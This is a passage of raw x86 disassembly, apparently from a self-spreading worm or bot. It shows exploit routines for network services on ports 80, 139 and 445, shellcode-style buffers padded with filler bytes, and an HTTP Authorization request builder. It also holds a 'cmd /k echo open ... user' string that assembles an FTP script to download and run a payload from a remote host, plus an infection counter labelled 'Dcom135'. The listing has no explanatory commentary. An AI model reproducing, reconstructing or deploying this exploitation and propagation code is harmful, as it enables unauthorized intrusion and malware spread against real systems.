ebx mov [esi], edi loc_403ED0: ; CODE XREF: sub_403E9E+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403E9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403ED8 proc near ; CODE XREF: sub_403FD2+18p ; sub_40404C+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_415DC9 mov esi, eax pop ecx test esi, esi jz short loc_403F24 push edi push 0 push esi call sub_415570 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4155D0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4155D0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_403F24: ; CODE XREF: sub_403ED8+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403ED8 endp ; =============== S U B R O U T I N E ======================================= sub_403F2D proc near ; CODE XREF: sub_403FD2+5Ep ; sub_403FD2+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_403F3D push eax call sub_415E3D pop ecx loc_403F3D: ; CODE XREF: sub_403F2D+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_403F2D endp ; =============== S U B R O U T I N E ======================================= sub_403F46 proc near ; CODE XREF: sub_403FD2+20p ; sub_4040AD+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_403F73 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_415DC9 mov edi, eax pop ecx test edi, edi jnz short loc_403F77 loc_403F73: ; CODE XREF: sub_403F46+Dj xor al, al jmp short loc_403FCE ; --------------------------------------------------------------------------- loc_403F77: ; CODE XREF: sub_403F46+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_415570 add esp, 0Ch cmp ebx, 1 jnz short loc_403F9C mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_403FB6 ; --------------------------------------------------------------------------- loc_403F9C: ; CODE XREF: sub_403F46+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_403FB6: ; CODE XREF: sub_403F46+54j push eax call sub_4155D0 add esp, 0Ch push dword ptr [esi] call sub_415E3D add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403FCE: ; CODE XREF: sub_403F46+2Fj pop edi pop esi pop ebx retn sub_403F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FD2 proc near ; CODE XREF: sub_404108+89p ; sub_404108+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_438FF4 call sub_403ED8 lea ecx, [ebp+var_8] call sub_403F46 mov eax, [ebp+var_4] inc eax push eax call sub_415DC9 mov edi, eax pop ecx test edi, edi jnz short loc_40400C xor al, al jmp short loc_404048 ; --------------------------------------------------------------------------- loc_40400C: ; CODE XREF: sub_403FD2+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_415570 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4155D0 add esp, 18h mov ecx, esi call sub_403F2D mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_403F2D mov al, 1 loc_404048: ; CODE XREF: sub_403FD2+38j pop edi pop esi leave retn sub_403FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40404C proc near ; CODE XREF: sub_404080+14p ; sub_40409D+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403ED8 mov ecx, esi call sub_403F2D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40404C endp ; =============== S U B R O U T I N E ======================================= sub_404080 proc near ; CODE XREF: sub_404108+F0p ; sub_404108+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_415CF0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40404C pop esi retn 4 sub_404080 endp ; =============== S U B R O U T I N E ======================================= sub_40409D proc near ; CODE XREF: sub_4040E9+Bp ; sub_404108+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40404C retn 8 sub_40409D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040AD proc near ; CODE XREF: sub_4040E9+16p ; sub_404108+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_403F46 test al, al jz short loc_4040E6 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4263DB+1) call sub_403ED8 mov ecx, esi call sub_403F2D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4040E6: ; CODE XREF: sub_4040AD+Fj pop esi leave retn sub_4040AD endp ; =============== S U B R O U T I N E ======================================= sub_4040E9 proc near ; CODE XREF: sub_404108+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40409D test al, al jz short loc_404104 mov ecx, esi call sub_4040AD loc_404104: ; CODE XREF: sub_4040E9+12j pop esi retn 8 sub_4040E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404108 proc near ; CODE XREF: .nsp0:0040498Dp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_403E94 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40445C mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40445C push esi lea ecx, [ebp+var_30] call sub_403E94 lea ecx, [ebp+var_20] call sub_403E94 lea ecx, [ebp+var_50] call sub_403E94 lea ecx, [ebp+var_18] call sub_403E94 lea ecx, [ebp+var_40] call sub_403E94 lea ecx, [ebp+var_38] call sub_403E94 lea ecx, [ebp+var_28] call sub_403E94 push 4 push offset dword_42607C lea ecx, [ebp+var_30] call sub_40404C push 3 push offset dword_426084 lea ecx, [ebp+var_30] call sub_40404C lea ecx, [ebp+var_30] call sub_403FD2 lea ecx, [ebp+var_30] call sub_4040AD mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_415570 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40404C push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40404C mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40404C lea ecx, [ebp+var_20] call sub_403FD2 push offset loc_426404 lea ecx, [ebp+var_50] call sub_404080 lea ecx, [ebp+var_50] call sub_403FD2 push esi lea eax, [ebp+var_858] push 44h push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403E9E lea ecx, [ebp+var_58] call sub_403FD2 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4040E9 lea ecx, [ebp+var_58] call sub_403F2D push esi lea eax, [ebp+var_858] push 43h push eax call sub_415570 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_404080 push 4 push offset dword_426088 lea ecx, [ebp+var_18] call sub_40404C push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40404C sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40404C lea ecx, [ebp+var_18] call sub_403FD2 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40409D push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40409D lea ecx, [ebp+var_40] call sub_4040AD lea ecx, [ebp+var_18] call sub_403F2D lea ecx, [ebp+var_50] call sub_403F2D push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40409D push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40409D push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40409D lea ecx, [ebp+var_38] call sub_4040AD lea ecx, [ebp+var_20] call sub_403F2D lea ecx, [ebp+var_30] call sub_403F2D lea ecx, [ebp+var_40] call sub_403F2D push esi lea eax, [ebp+var_858] push 41h push eax call sub_415570 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40404C lea ecx, [ebp+var_28] call sub_403FD2 push 2 push offset dword_4263F8 lea ecx, [ebp+var_28] call sub_40404C push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40409D lea ecx, [ebp+var_28] call sub_4040AD lea ecx, [ebp+var_38] call sub_403F2D lea ecx, [ebp+var_10] call sub_403E94 lea ecx, [ebp+var_8] call sub_403E94 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40409D lea ecx, [ebp+var_10] call sub_403F46 lea ecx, [ebp+var_28] call sub_403F2D push offset dword_4263F4 lea ecx, [ebp+var_8] call sub_404080 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40409D lea ecx, [ebp+var_8] call sub_403F46 lea ecx, [ebp+var_10] call sub_403F2D push offset dword_4263F0 lea ecx, [ebp+var_10] call sub_404080 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40409D lea ecx, [ebp+var_10] call sub_403F46 lea ecx, [ebp+var_8] call sub_403F2D push offset dword_4263E4 lea ecx, [ebp+var_8] call sub_404080 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40409D lea ecx, [ebp+var_8] call sub_403F46 lea ecx, [ebp+var_10] call sub_403F2D push offset dword_4263E0 lea ecx, [ebp+var_48] call sub_404080 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40409D lea ecx, [ebp+var_8] call sub_403F2D mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40446A ; --------------------------------------------------------------------------- loc_40445C: ; CODE XREF: sub_404108+1Bj ; sub_404108+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40446A: ; CODE XREF: sub_404108+352j pop edi pop ebx leave retn sub_404108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40446E proc near ; CODE XREF: sub_404532+A1p ; sub_404532+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4211D0 cmp eax, edi jnz short loc_4044D5 lea eax, [ebp+var_10C] push eax push esi call sub_420106 test eax, eax jnz short loc_4044D9 loc_4044D5: ; CODE XREF: sub_40446E+54j xor eax, eax jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044D9: ; CODE XREF: sub_40446E+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43A3D0 loc_4044E9: ; CODE XREF: sub_40446E+69j pop edi pop esi leave retn sub_40446E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044ED proc near ; CODE XREF: sub_404532+81p ; sub_404532+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43A3B4 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43A408 cmp eax, 4 jz short loc_404517 xor al, al leave retn ; --------------------------------------------------------------------------- loc_404517: ; CODE XREF: sub_4044ED+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43A408 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_4044ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404532 proc near ; CODE XREF: sub_40460C+48p ; .nsp0:00404A88p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415DC9 mov esi, eax pop ecx test esi, esi jnz short loc_40455B xor al, al jmp loc_404607 ; --------------------------------------------------------------------------- loc_40455B: ; CODE XREF: sub_404532+20j push ebx push 0 push esi call sub_415570 push 2Fh push offset dword_426118 push esi call sub_4155D0 push 8 lea eax, [esi+31h] push offset dword_426148 push eax mov [esi+2Fh], di call sub_4155D0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4155D0 push 6 add ebx, edi push offset dword_438FEC push ebx call sub_4155D0 mov ebx, [ebp+arg_0] push 85h push offset dword_426090 push ebx call sub_4044ED add esp, 48h test al, al jnz short loc_4045C3 loc_4045BF: ; CODE XREF: sub_404532+B5j xor bl, bl jmp short loc_4045FE ; --------------------------------------------------------------------------- loc_4045C3: ; CODE XREF: sub_404532+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40446E push [ebp+var_4] push esi push ebx call sub_4044ED add esp, 1Ch test al, al jz short loc_4045BF push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40446E add esp, 10h mov bl, 1 loc_4045FE: ; CODE XREF: sub_404532+8Fj push esi call sub_415E3D pop ecx mov al, bl loc_404607: ; CODE XREF: sub_404532+24j pop edi pop esi pop ebx leave retn sub_404532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40460C proc near ; CODE XREF: .nsp0:00404A6Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_426154 push [ebp+arg_0] call dword_4211EC cmp eax, 48h jnz short loc_404647 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40446E add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_404647 cmp [ebp+var_20], 82h jz short loc_40464B loc_404647: ; CODE XREF: sub_40460C+1Bj ; sub_40460C+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40464B: ; CODE XREF: sub_40460C+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_404532 add esp, 0Ch leave retn sub_40460C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40465E proc near ; CODE XREF: sub_4046AA+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_421240 call sub_415F8C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_421238 fstp [esp+10h+var_10] call sub_415E6C fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_415F8C inc eax leave retn sub_40465E endp ; =============== S U B R O U T I N E ======================================= sub_4046AA proc near ; CODE XREF: sub_40484C+24p var_40 = qword ptr -40h mov eax, offset loc_420263 call sub_416458 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404D21 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40465E cmp [ebp-2Ch], eax pop ecx jnb short loc_4046EC push edi push eax lea ecx, [ebp-38h] call sub_404C9C loc_4046EC: ; CODE XREF: sub_4046AA+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404809 mov ebx, [ebp+10h] loc_4046FB: ; CODE XREF: sub_4046AA+156j cmp dword ptr [ebp+10h], 3 jb short loc_404705 push 3 jmp short loc_404717 ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_4046AA+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40470F push 2 jmp short loc_404717 ; --------------------------------------------------------------------------- loc_40470F: ; CODE XREF: sub_4046AA+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_404718 push 1 loc_404717: ; CODE XREF: sub_4046AA+59j ; sub_4046AA+63j pop ebx loc_404718: ; CODE XREF: sub_4046AA+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_421250 fstp [esp+40h+var_40] call sub_415FB3 pop ecx pop ecx call sub_415F8C cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_404757 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_404757: ; CODE XREF: sub_4046AA+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_4047C5 add [ebp-18h], eax loc_4047A9: ; CODE XREF: sub_4046AA+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4261A0[eax] push eax push 1 call sub_404B1E inc esi cmp esi, [ebp-1Ch] jb short loc_4047A9 loc_4047C5: ; CODE XREF: sub_4046AA+FAj cmp dword ptr [ebp-18h], 48h jb short loc_4047E3 push dword ptr [ebp+14h] call sub_415CF0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_404B77 mov [ebp-18h], edi loc_4047E3: ; CODE XREF: sub_4046AA+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4047FD sub esi, [ebp-1Ch] loc_4047EE: ; CODE XREF: sub_4046AA+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404B1E dec esi jnz short loc_4047EE loc_4047FD: ; CODE XREF: sub_4046AA+13Fj cmp [ebp+10h], edi ja loc_4046FB push 1 pop ebx loc_404809: ; CODE XREF: sub_4046AA+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404D21 push dword_421248 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404BCE mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404D21 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_4046AA endp ; =============== S U B R O U T I N E ======================================= sub_40484C proc near ; CODE XREF: .nsp0:00404A51p mov eax, offset loc_420280 call sub_416458 sub esp, 10h push ebx push esi push edi push offset byte_438FDC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_4046AA mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_415DC9 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_404896 xor bl, bl jmp short loc_4048DA ; --------------------------------------------------------------------------- loc_404896: ; CODE XREF: sub_40484C+44j mov ecx, [ebp-18h] mov eax, offset dword_421258 cmp ecx, ebx jnz short loc_4048A4 mov ecx, eax loc_4048A4: ; CODE XREF: sub_40484C+54j cmp [ebp+18h], ebx jz short loc_4048AC mov eax, [ebp+18h] loc_4048AC: ; CODE XREF: sub_40484C+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_415A6A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43A408 cmp eax, esi jz short loc_4048D1 xor bl, bl jmp short loc_4048D3 ; --------------------------------------------------------------------------- loc_4048D1: ; CODE XREF: sub_40484C+7Fj mov bl, 1 loc_4048D3: ; CODE XREF: sub_40484C+83j push edi call sub_415E3D pop ecx loc_4048DA: ; CODE XREF: sub_40484C+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404D21 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40484C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 624h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_42634C push eax call sub_4155D0 add esp, 0Ch mov eax, offset byte_42C1FC push eax push eax push dword_438FFC push dword ptr [ebp+8] call sub_40A171 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_415A6A add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4261E4 push eax call sub_404108 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_4049AD xor eax, eax jmp loc_404B11 ; --------------------------------------------------------------------------- loc_4049AD: ; CODE XREF: .nsp0:004049A4j mov [ebp-0Ch], esi loc_4049B0: ; CODE XREF: .nsp0:00404AB0j test esi, esi jnz loc_404AB6 push 6 push 1 push 2 call dword_4211E0 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_404A9E xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43A3B8 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43A3F8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43A360 cmp eax, 0FFFFFFFFh jz loc_404A93 cmp dword ptr [ebp+0A8h], 50h jnz short loc_404A5B mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404D21 lea eax, [ebp+0Ch] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_404D5D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40484C add esp, 1Ch jmp short loc_404A90 ; --------------------------------------------------------------------------- loc_404A5B: ; CODE XREF: .nsp0:00404A19j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_404A75 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40460C jmp short loc_404A8D ; --------------------------------------------------------------------------- loc_404A75: ; CODE XREF: .nsp0:00404A65j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404A93 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_404532 loc_404A8D: ; CODE XREF: .nsp0:00404A73j add esp, 0Ch loc_404A90: ; CODE XREF: .nsp0:00404A59j movzx esi, al loc_404A93: ; CODE XREF: .nsp0:00404A0Cj ; .nsp0:00404A7Fj push ebx call dword_43A450 test esi, esi jnz short loc_404AA9 loc_404A9E: ; CODE XREF: .nsp0:004049C9j push 3E8h call dword_421060 loc_404AA9: ; CODE XREF: .nsp0:00404A9Cj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_4049B0 loc_404AB6: ; CODE XREF: .nsp0:004049B2j lea ecx, [ebp-8] call sub_403F2D test esi, esi jz short loc_404B0F lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset dword_426410 lea eax, [ebp-624h] push 200h push eax call sub_415A6A lea eax, [ebp-624h] push eax call sub_40B16D mov eax, [ebp+0B0h] add esp, 18h imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_404B0F: ; CODE XREF: .nsp0:00404AC0j mov eax, esi loc_404B11: ; CODE XREF: .nsp0:004049A8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_420244 loc_404B16: ; CODE XREF: sub_420244+3j ; .nsp0:0042025Dj ... push 1 call sub_404D21 retn ; END OF FUNCTION CHUNK FOR sub_420244 ; =============== S U B R O U T I N E ======================================= sub_404B1E proc near ; CODE XREF: sub_4046AA+110p ; sub_4046AA+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_421248 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_404B38 call sub_41FDB0 loc_404B38: ; CODE XREF: sub_404B1E+13j test ebx, ebx jbe short loc_404B6F mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_404C9C test al, al jz short loc_404B6F movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_415570 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_404B6F: ; CODE XREF: sub_404B1E+1Cj ; sub_404B1E+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404B1E endp ; =============== S U B R O U T I N E ======================================= sub_404B77 proc near ; CODE XREF: sub_4046AA+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_421248 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_404B91 call sub_41FDB0 loc_404B91: ; CODE XREF: sub_404B77+13j test ebx, ebx jbe short loc_404BC6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_404C9C test al, al jz short loc_404BC6 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_4155D0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_404BC6: ; CODE XREF: sub_404B77+1Cj ; sub_404B77+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404BCE proc near ; CODE XREF: sub_4046AA+17Cp ; sub_41FE0A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_404BE6 call sub_41FFDC loc_404BE6: ; CODE XREF: sub_404BCE+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_404BF8 mov esi, [ebp+arg_8] loc_404BF8: ; CODE XREF: sub_404BCE+25j cmp edi, ebx jnz short loc_404C1A push dword_421248 add esi, ecx mov ecx, edi push esi call sub_404D92 push [ebp+arg_4] mov ecx, edi push 0 call sub_404D92 jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C1A: ; CODE XREF: sub_404BCE+2Cj test esi, esi jbe 